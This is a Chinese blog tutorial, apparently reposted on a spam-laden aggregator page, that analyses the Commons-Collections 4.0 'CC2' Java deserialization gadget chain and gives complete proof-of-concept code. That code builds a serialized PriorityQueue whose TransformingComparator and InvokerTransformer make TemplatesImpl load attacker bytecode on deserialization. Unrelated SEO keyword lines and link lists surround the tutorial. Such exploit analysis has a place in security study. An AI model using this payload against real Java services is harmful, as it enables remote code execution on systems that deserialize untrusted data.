当前位置: 首页 > news >正文

湖北省两学一做网站婚庆 wordpress

湖北省两学一做网站,婚庆 wordpress,免费建立一个网站,做网站每年运营要花掉多少钱前言 3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口#xff0c;是不可以被序列化的#xff0c;所以我们重新搭建一个4.0的具有漏洞的CC环境 CC2链主要使用的和CC4一样#xff0c;但是区别在于CC2避免了使用Transformer数组#xff0c;没有使用Insta…前言 3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口是不可以被序列化的所以我们重新搭建一个4.0的具有漏洞的CC环境 CC2链主要使用的和CC4一样但是区别在于CC2避免了使用Transformer数组没有使用InstantiateTransformer类进行初始化主要分析中间连接部分也就是CC2链重心 1.环境安装 CommonsCollections 4.0 在pom.xml中加入4.0版本的依赖并加载 dependencies!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --dependencygroupIdorg.apache.commons/groupIdartifactIdcommons-collections4/artifactIdversion4.0/version/dependency /dependencies2. 分析 从链的出口到中间的过程和在CC4中分析的一样都是从PririPriorityQueuety.heapify()—Comparator.compare(),执行的命令点也是TemplatesImpl TemplatesImpl templates new TemplatesImpl(); Class ca templates.getClass(); Field name ca.getDeclaredField(_name); name.setAccessible(true); name.set(templates,admin);Field byteField ca.getDeclaredField(_bytecodes); byteField.setAccessible(true); byte[] evil Files.readAllBytes(Paths.get(D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class)); byte[][] codes {evil}; byteField.set(templates,codes);就和我们前言中说的一样CC2相较于CC4是放弃了使用InstantiateTransformer来实例化TrAXFilter转为直接使用InvokerTransformer去调用templates对象的newTransformer方法我们写一个InvokerTransformer去调用命令执行 InvokerTransformer test new InvokerTransformer(newTransformer,new Class[]{}, new Object[]{});创建 TransformingComparator 类对象传入一个临时的 Transformer 类对象这是为了让代码能够不提前执行在反序列化的时候执行。 TransformingComparator transformingComparator new TransformingComparator(new ConstantTransformer(1));我们在CC1中分析过InvokerTransformer类之前已经写好一个InvokerTransformer调用但是我们还需要给他传入一个对象方便它去找到类的对象并调用指定方法 所以我们创建 PriorityQueue 类对象 传入 transformingComparator 对象但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数 再在运行后反射修改回我们要执行的命令 PriorityQueue priorityQueue new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);Class c transformingComparator.getClass(); Field transformingField c.getDeclaredField(transformer); transformingField.setAccessible(true); transformingField.set(transformingComparator, test);3.POC编写 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;public class CC2 {public static void main(String[] args) throws Exception {TemplatesImpl templates new TemplatesImpl();Class ca templates.getClass();Field name ca.getDeclaredField(_name);name.setAccessible(true);name.set(templates,admin);Field byteField ca.getDeclaredField(_bytecodes);byteField.setAccessible(true);byte[] evil Files.readAllBytes(Paths.get(D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class));byte[][] codes {evil};byteField.set(templates,codes);InvokerTransformer test new InvokerTransformer(newTransformer,new Class[]{}, new Object[]{});TransformingComparator transformingComparator new TransformingComparator(new ConstantTransformer(1));PriorityQueue priorityQueue new PriorityQueue(transformingComparator);priorityQueue.add(templates);priorityQueue.add(templates);Class c transformingComparator.getClass();Field transformingField c.getDeclaredField(transformer);transformingField.setAccessible(true);transformingField.set(transformingComparator, test);serializable(priorityQueue); // // unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis new FileInputStream(obj);ObjectInputStream ois new ObjectInputStream(fis);Object o ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos new FileOutputStream(obj);ObjectOutputStream os new ObjectOutputStream(fos);os.writeObject(o);os.close();}} 反序列化运行我们生成的二进制文件 package org.example;import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;public class Main {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis new FileInputStream(obj);ObjectInputStream ois new ObjectInputStream(fis);Object o ois.readObject();return o;}}我们查看其中的过程 在执行到compare方法时是TransformingComparator 到达transform方法时就是我们之前之前添加priorityQueue.add(templates)的原因了我们可以看到执行的是相当于 new InvokerTransformer(newTransformer,new Class[]{}, new Object[]{}).transform(new TemplatesImpl())最后执行成功 本次整体路线为 PriorityQueue.readObject()PririPriorityQueuety.heapify()PririPriorityQueuety.siftDown()PririPriorityQueuety.siftDownUsingComparator()Comparator.compare()InvokerTransformer.transform()TemplatesImpl.newTransformer()definclass - newInstance()本系列历史文章 反序列化之路-URLDNS Commons-Collections篇-CC1链小白基础分析学习 CC1链补充-LazyMap Commons-Collections篇-CC3链 Commons-Collections篇-CC4链分析 Commons-Collections篇-CC6链分析
http://www.hkea.cn/news/14520727/

相关文章:

  • 张家港市网站制作游戏开发公司哪家好
  • wordpress 社区模版石家庄网络seo推广
  • 自己做的网站打开慢wordpress 文章列表 分页
  • 服装公司网站背景图电商具体是做什么的上班
  • 南阳做网站多少电话wordpress加密修改
  • dedecms做网站视频建设网站的基本工作流程
  • 有做不锈钢工程的网站丹阳网站建设报价
  • 专业系统网站品牌推广策划方案案例
  • 互联网网站建设方案重庆铜梁网站建设费用
  • 武隆网站建设哪家好企业网站模板中文
  • 深圳公明网站建设企业免费建站软件
  • 吉林省网站制作公司有哪些禹城市建设局网站
  • 如何了解和掌握一个网站的权重医院网站建设论证报告
  • 阿里巴巴做特卖的网站盛泽网站建设
  • 怎么建立网站模版网站大图做多大尺寸
  • dw怎么做网站标题图标网站首页添加浮动飘窗
  • 霸屏seo服务亚马逊seo什么意思
  • 报送举报网站建设情况免费网站安全软件下载安装
  • 网络公司网站设计方案ppt铁岭网站开发公司
  • 建设网站 请示 报告wordpress 微信登录界面
  • 极速网站建设哪家好网站建设捌金手指下拉一
  • 建设工程中标通知书查询网站贵州省赤水市代码
  • 大型php网站系统莱州人社局网站
  • 创办网站需要多少钱网络推广员的前景
  • 做简单网站需要学什么软件有哪些国外的智慧城市建设网站
  • 企企业业网网站站建建设设阿里企业网站建设评估
  • 网站免费的有没有网站上职业学校排名 该怎么做
  • 聊城wap网站建设产品推广方案ppt
  • 网站地图 seo漳州正规网站建设费用
  • 网站后台添加内容网页不显示河南郑州做网站的公司